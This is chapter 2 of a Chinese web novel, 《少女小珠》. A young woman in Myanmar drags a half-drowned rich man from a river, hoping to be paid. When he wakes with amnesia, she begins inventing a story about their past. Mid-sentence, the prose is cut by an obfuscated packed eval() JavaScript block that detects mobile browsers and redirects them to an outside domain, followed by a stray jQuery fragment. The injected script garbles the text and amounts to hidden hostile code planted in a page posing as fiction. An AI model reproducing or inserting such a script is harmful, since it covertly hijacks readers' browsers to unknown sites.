2. 第 2 章
作品:《少女小珠》 昨天还站在云端之上的人,怎么一夜之间变成河里半死不活的垃圾?
空气中有暴雨的味道,闻起来很像突然而至的不幸。
小珠瘫坐在原地,踌躇犹豫,直到星子跳跃着隐去,天边快要亮了,还在盯着他发呆。
生死不知的人眉眼紧闭,无知无觉地靠在岸边。
热季末尾,凌晨四点,河面上的风已然泛凉,在水里泡了一整夜的皮肉更是寒意透骨。
湿哒哒的额发被吹动,英挺的鼻梁已然泛起青灰,如不详的死兆从眉心向外蔓延。
下一瞬,这颗脑袋被罩进一个腥臭的布口袋里。
日出之前,天光蒙昧,人心也失去控制。
小珠说不上来自己哪来的莽劲,或许是被鬼蒙了心智,用口袋套住这人,拴在肩上拖着走,咬牙拽紧绳子,手心被划得疼。
这个人显然很有钱,而且命大。
他如果不死,就有利可图。小珠想从这男人身上得到点什么。他像一块肥肉,她虽然现在啃不下来,可是等天亮之后,就会有别的人围上来享用。
一想到那个画面,小珠就仿佛身上有蚂蚁在爬。
她决定了。等这男人醒来,她将要求他给自己四百万缅元作为报酬。
要是她能有那么多钱……小珠简直都不敢想。
小珠心中激动,拼尽全力拽着布口袋,顺着河边往前走。
昏迷的男人沉得像一块铁板,要不是对那四百万缅元的渴望使得小珠浑身生出了不属于她的气力,小珠恐怕一步也走不动。
但即便如此也走得艰难,绳子数度从她背后滑落,男人好几次撞在岩石边缘,小珠不得不弯腰几次把他捡起来,听着他头骨撞出的闷响声,心中咋舌:好硬的脑袋。
但小珠实在没有余力,顾不上他是否舒适,就这样一边走一边撞,砰咚砰咚地往前。
等到小珠终于瘫坐下来时,脸上脖子上全是虚汗,眼睫上挂的汗珠一颗颗往下坠。
她抹了把脸,抬头往外看。天已大亮了。
到这时小珠才有了些实感,意识到自己做了件了不起的大事。
她真的捡了个半死不活的有钱人回来。
小珠微微偏过头,看上地上的袋子。
绳索已经松了,男人的侧脸从其中露出来,黑发散乱,面容被浸泡过后更显苍白,似乎还多了几道淤青,他浑身冒着寒气,跟一具尸体没什么区别。
小珠猛地打了个冷战,到现在才后知后觉地有些害怕。
还活着吗?
小珠慢慢凑过去,趴下来靠在男人的胸膛上。屏息听了好一会儿,终于隐约听见与她自己胸口不一样的搏动,急促而微弱。
还没死。但在水里泡久了,严重失温。
小珠撑着膝盖爬起来,积蓄起一点力气咬牙把他拖进淋浴间,打开热水喷头往下淋。
避开他的口鼻,冲干净他脸上的污渍。
堪称完美的五官显露出来,即便到处都是细小的伤口,也无损于这副皮相的魅力。
看着看着,小珠又开始忍不住地发抖,就像丛林里弱小的动物遇到食物链顶端的野兽。
于是移开目光,犹豫了一会儿,解开他身上的扣子。
把这人扒了衣服翻面洗干净时,又是一个小时之后。
太阳毒辣地悬在天上,小珠把男人用被单裹起来,拖到阳台门边,试图像晒地毯一样把他晒干,但他太高大,只拖出半个身子就在门上卡住。
小珠喘了口气,放弃了,再也没有力气挪动半步,也瘫软下来倒在昏迷的男人身上。
她浑身也湿透了,这个男人简直比猪还难洗。唯一不令人生厌的是他身上的肌肉软韧有弹性,小珠靠在上面,想象自己正像有钱人一样躺在某种动物的皮肉做成的高档沙发上。
阳光很暖和,不分贵贱地洒向每一处,小珠闭着眼睛休息,想到船上的工作,今天肯定去不了,只能旷工了。
察觉到湿漉漉的头发渐渐晒干了,眼皮开始发烫,额头被晒得开始不舒服,有点太热了。
她爬起来想换个地方休息,手心撑在男人胸口发力,视线上移,对上男人抖动的羽睫。
下一瞬,那双漆黑的眼睁开了。
小珠不受控制地战栗了一下,全身涌过一道寒潮。
她没来得及有任何反应,男人拧腰翻身,一只手按住她的脑袋,另一只手掐住她的双手手腕卡在腰际,把她扑倒在地,脸贴着地面,疼痛迅速从手腕蔓延到肩膀。
男人睁开眼睛半晌,眼前还是一片晕眩,光点四处乱飘,因为醒来前接受了太多的阳光直射。
他头痛欲裂,察觉身边有人,凭本能出手制服,用力甩了甩脑袋,才将此人看清。
是一个女人。
样貌清秀,身上萦绕着柑橘果香,细弱的脊背贴着他的臂弯,在他手掌下颤抖,看起来没有丝毫抵抗能力。
而且很快,他发现自己一/丝/不/挂,那张薄薄的被单在动作间已经飘落下去。
男人怔愣,手上的力道不由微松。
小珠很久没挨过打,更何况这男人简直像有一双铁爪,挨在皮肤上就作痛。
她被迫匍匐着,被挤出生理性的眼泪,头脑有一瞬间空白。
她是不是太冲动了?
把这个人带回来,太过冒险。
她现在很有可能拿不到钱,还会被杀掉。
俯在小珠上方的人低头眯眼审视这个女人。
她徒劳地挣动双腕,但完全使不上力,抿紧唇一声不吭,眼角沁出泪珠。
男人压低声音问:“你是谁。”
小珠偏着头看他一眼,咬紧唇继续沉默,小小的牙齿在唇瓣上印出深深的痕迹,泪水滑到鼻梁。
他盯着她,似乎发了会儿呆,茫然地皱起眉:“我什么都想不起来。”
他浑身赤.裸,醒来前和这女人拥抱在一起,她还睡在自己怀里。
挖空脑袋想了又想,实在想不起来什么时候有了这样关系亲密的女人,他的大脑里有一层白茫茫的雾,阻止他回忆起更多。
他连想起自己的名字都困难,过了许久才在虚空中抓到一点思绪,从犹豫到确定。霍临……对,他叫霍临。
再想要思考更多,霍临就完全没了头绪,只有大脑深处隐隐作痛。
这痛感又呼应着头皮上的痛,似乎他在醒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647420|172764||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来之前被硬物捶打过。
-
这是什么意思?
小珠呼吸停滞,心跳又重又急地加速。
她飞速地在脑海中整理着讯息。
首先,这个男人说中文,那么,这大概率是一个中国人。
小珠懂中文,她童年在掸邦东部的孤儿院长大,那里使用的是汉语教育,据说收留的都是中国血脉的孩子。
然后,这人说,他失忆了。
小珠转动被泪水浸润得湿漉漉的眼珠,仔细地盯着这名中国男人。
他眉目冷峻,脸上的伤口使他显得更加沉肃,但还是从冰山的缝隙中泄露出一丝迷茫。
小珠刚刚受惊吓而挛缩的心脏现在又因为兴奋开始狂跳。
过了好一会儿,小珠垂下眼,松开紧咬的唇角,试探地用中文轻声问:“你真的一点都不记得我了?”
她声音柔软,说着不太常用的中文尾音更加轻飘飘的,像是春天的狗尾草从人的手心拂过。霍临眉头皱得更深,觉得胸口痒丝丝的不舒服,手上松了些:“不准反问我。你到底是谁。”
小珠扭了一下,手腕从他放松的手指囚牢中逃出来,迅速地退回到屋内,站在了离男人最远的角落。
霍临冷冷地瞧着她,又看了看周围的环境,判定她无法在这里对自己造成什么威胁,没再动作,只冷哼一声。
他环抱手臂打量这间屋子。
这里太狭小,霍临仅仅是站着不动,都几乎觉得天花板要砸到他的头,他潜意识中,并不觉得自己应该待在这样的地方。
于是霍临又盯回现场唯一一个能跟他说话的女人,等她嘴里吐出一个答案。
小珠思索一番,试探着开口:“那你还记不记得,这里是缅甸。”
男人表情依旧茫然。
连这个都忘了?小珠心绪涌动,但面上把表情绷得稳稳的,拿起桌上的一张传单递过去。
霍临一接过,她就迅速地缩回指尖。
传单上是小虫子一般的文字,霍临一个字也不认识。
他再扭头看向窗外,街道上的广告牌也同样是歪歪扭扭的字符。
缅甸。
霍临慢慢咀嚼这两个字,模糊的记忆并没有对这个地名感到排斥。
他再看向小珠:“继续。”
小珠无声地深深呼吸一口气,口轮匝肌紧张地微微颤抖,给他编造了一个故事。
故事中,男人是中国来的游客,小珠自己则美化成当地的导游,他们在东塔曼湖共度了一个美好的下午。
小珠半真半假地模糊道。
“然后我们就分开了,晚上我偶然发现你受伤了,我救了你,你说要报答我,然后……”
小珠话没说完,霍临脑仁忽而一阵刺痛,条件反射地弓起腰,咬紧牙关。
他的大脑仿佛在洗衣机里旋转,记忆煮成一锅白粥,他原先只能从中捡出来自己的名字,其它毫无头绪。
但随着女人的叙述,他眼前跳帧一般闪出几个画面,深夜漆黑的水流,大风,装了消音器的手枪。
霍临下意识在脑海中急追更多的讯息,但最终闯进了一片白雾里,再次失去了方向。